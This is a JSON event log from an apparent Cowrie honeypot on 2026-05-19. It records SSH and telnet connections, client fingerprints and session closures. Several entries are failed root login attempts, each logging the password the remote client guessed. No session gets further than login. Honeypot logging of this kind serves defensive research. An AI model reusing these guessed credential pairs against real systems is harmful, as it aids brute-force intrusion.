{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:11.907997Z","src_ip":"163.227.230.54","session":"20ac21a7a1e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"content","message":"login attempt [root/content] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:12.928264Z","src_ip":"163.227.230.54","session":"20ac21a7a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:14.178853Z","src_ip":"163.227.230.54","session":"20ac21a7a1e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":49750,"dst_ip":"159.203.135.109","dst_port":22,"session":"df0b66f43e20","protocol":"ssh","message":"New connection: 119.28.117.200:49750 (159.203.135.109:22) [session: df0b66f43e20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:20.211766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:20.215897Z","src_ip":"119.28.117.200","session":"df0b66f43e20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:20.453609Z","src_ip":"119.28.117.200","session":"df0b66f43e20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootlinux","message":"login attempt [root/rootlinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:21.437200Z","src_ip":"119.28.117.200","session":"df0b66f43e20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:22.677524Z","src_ip":"119.28.117.200","session":"df0b66f43e20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":41848,"dst_ip":"159.203.135.109","dst_port":22,"session":"e2de575fc49c","protocol":"ssh","message":"New connection: 43.153.0.59:41848 (159.203.135.109:22) [session: e2de575fc49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:47.694631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:47.699260Z","src_ip":"43.153.0.59","session":"e2de575fc49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:47.767440Z","src_ip":"43.153.0.59","session":"e2de575fc49c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxdr5","message":"login attempt [root/1qazxdr5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:48.070554Z","src_ip":"43.153.0.59","session":"e2de575fc49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:11:49.141645Z","src_ip":"43.153.0.59","session":"e2de575fc49c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":53240,"dst_ip":"10.17.0.5","dst_port":22,"session":"012a2ce9b8bd","protocol":"ssh","message":"New connection: 89.108.118.91:53240 (10.17.0.5:22) [session: 012a2ce9b8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:20.989078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:20.996834Z","src_ip":"89.108.118.91","session":"012a2ce9b8bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:21.137678Z","src_ip":"89.108.118.91","session":"012a2ce9b8bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789456123a","message":"login attempt [root/789456123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:21.560468Z","src_ip":"89.108.118.91","session":"012a2ce9b8bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:22.704034Z","src_ip":"89.108.118.91","session":"012a2ce9b8bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52236,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf992d234abb","protocol":"telnet","message":"New connection: 192.119.13.58:52236 (10.17.0.5:23) [session: bf992d234abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:28.359786Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.227.230.54","src_port":54244,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb061ecc9a04","protocol":"ssh","message":"New connection: 163.227.230.54:54244 (159.203.135.109:22) [session: fb061ecc9a04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:42.754839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:42.760515Z","src_ip":"163.227.230.54","session":"fb061ecc9a04","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:43.001252Z","src_ip":"163.227.230.54","session":"fb061ecc9a04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"raptor","message":"login attempt [root/raptor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:43.996616Z","src_ip":"163.227.230.54","session":"fb061ecc9a04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:45.243239Z","src_ip":"163.227.230.54","session":"fb061ecc9a04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":42856,"dst_ip":"159.203.135.109","dst_port":22,"session":"45714a546555","protocol":"ssh","message":"New connection: 45.148.10.121:42856 (159.203.135.109:22) [session: 45714a546555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:48.102027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:48.106364Z","src_ip":"45.148.10.121","session":"45714a546555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:48.190363Z","src_ip":"45.148.10.121","session":"45714a546555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":49608,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b2e57c7ecd9","protocol":"ssh","message":"New connection: 103.219.170.37:49608 (159.203.135.109:22) [session: 5b2e57c7ecd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:50.132100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:50.137011Z","src_ip":"103.219.170.37","session":"5b2e57c7ecd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:50.224079Z","src_ip":"103.219.170.37","session":"5b2e57c7ecd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pa$$w0rd123456","message":"login attempt [root/Pa$$w0rd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:50.467704Z","src_ip":"103.219.170.37","session":"5b2e57c7ecd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:12:51.551722Z","src_ip":"103.219.170.37","session":"5b2e57c7ecd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.44555592536926,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:09.805251Z","src_ip":"192.119.13.58","session":"bf992d234abb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":42156,"dst_ip":"10.17.0.5","dst_port":22,"session":"3152e000409a","protocol":"ssh","message":"New connection: 45.148.10.121:42156 (10.17.0.5:22) [session: 3152e000409a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:16.089399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:16.097399Z","src_ip":"45.148.10.121","session":"3152e000409a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:16.182045Z","src_ip":"45.148.10.121","session":"3152e000409a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":36444,"dst_ip":"10.17.0.5","dst_port":22,"session":"0991e0321b46","protocol":"ssh","message":"New connection: 194.59.206.2:36444 (10.17.0.5:22) [session: 0991e0321b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:23.934299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:23.939059Z","src_ip":"194.59.206.2","session":"0991e0321b46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:24.028979Z","src_ip":"194.59.206.2","session":"0991e0321b46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:24.122480Z","src_ip":"194.59.206.2","session":"0991e0321b46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.190.168.136","src_port":43356,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c3593e479c2","protocol":"ssh","message":"New connection: 115.190.168.136:43356 (159.203.135.109:22) [session: 9c3593e479c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:24.649532Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":55956,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcdc6e9e96da","protocol":"ssh","message":"New connection: 185.236.22.41:55956 (159.203.135.109:22) [session: fcdc6e9e96da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:25.252068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:25.256597Z","src_ip":"185.236.22.41","session":"fcdc6e9e96da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:25.375514Z","src_ip":"185.236.22.41","session":"fcdc6e9e96da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d","message":"login attempt [root/d] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T23:13:25.752231Z","src_ip":"185.236.22.41","session":"fcdc6e9e96da","protocol":"ssh"}
